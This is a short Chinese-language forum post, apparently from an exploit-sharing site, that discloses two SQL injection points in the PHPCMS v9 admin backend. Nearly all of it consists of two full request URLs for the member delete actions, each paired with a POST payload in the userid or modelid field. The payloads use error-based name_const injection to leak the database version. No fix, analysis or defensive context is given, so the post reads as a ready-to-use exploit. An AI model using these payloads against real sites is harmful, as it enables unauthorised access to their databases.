查看: 2167|回复: 0

phpcms两处后台的SQL注入

电梯直达

楼主

发表于 2013-7-27 18:33:32 | 只看该作者回帖奖励

(一)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

		自动登录	找回密码
密码			立即注册